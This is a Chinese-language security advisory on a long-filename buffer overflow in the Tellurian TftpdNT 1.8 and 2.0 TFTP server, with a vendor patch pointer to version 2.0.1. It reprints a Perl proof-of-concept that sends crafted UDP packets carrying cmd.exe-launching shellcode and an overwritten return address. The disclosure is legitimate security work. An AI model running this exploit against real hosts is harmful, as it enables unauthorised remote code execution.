安全研究

安全漏洞
Tellurian TftpdNT超长文件名缓冲区溢出漏洞

发布日期:2003-08-27
更新日期:2003-09-08

受影响系统:
Tellurian TftpdNT 2.0
Tellurian TftpdNT 1.8
不受影响系统:
Tellurian TftpdNT 2.0.1
描述:
BUGTRAQ  ID: 8505

Tellurian TftpdNT是一款Windows下的TFTP服务器。

Tellurian TftpdNT没有正确处理超长文件名,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以TftpdNT进程权限在系统上执行任意指令。

当程序处理用户提供的超长文件名时,由于缺少充分的边界缓冲区检查,可导致攻击者破坏内部进程内存,精心构建文件名数据可能以TftpdNT进程权限在系统上执行任意指令。

<*来源:storm (storm@stormdev.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106252411425545&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

storm (storm@stormdev.net)提供了如下测试方法:

#!/usr/bin/perl -w
#Tellurian TFTP Server buffer overflow vulnerability

use IO::Socket;
$host = "192.168.1.44";
$port = "69";

$shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
\x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";

$buf = "\x00\x02";
$buf .= "\x41"x(508-length($shellcode));
$buf .= $shellcode;
$buf .= "\x0F\x02\xC7"; # EIP
$buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";

print "Length: ", length($buf), "\n";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Done\n";

建议:
厂商补丁:

Tellurian
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载升级到TftpdNT 2.0.1:

http://www.tellurian.com.au/products/trinkets/tftpdNT/

浏览次数:3801
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障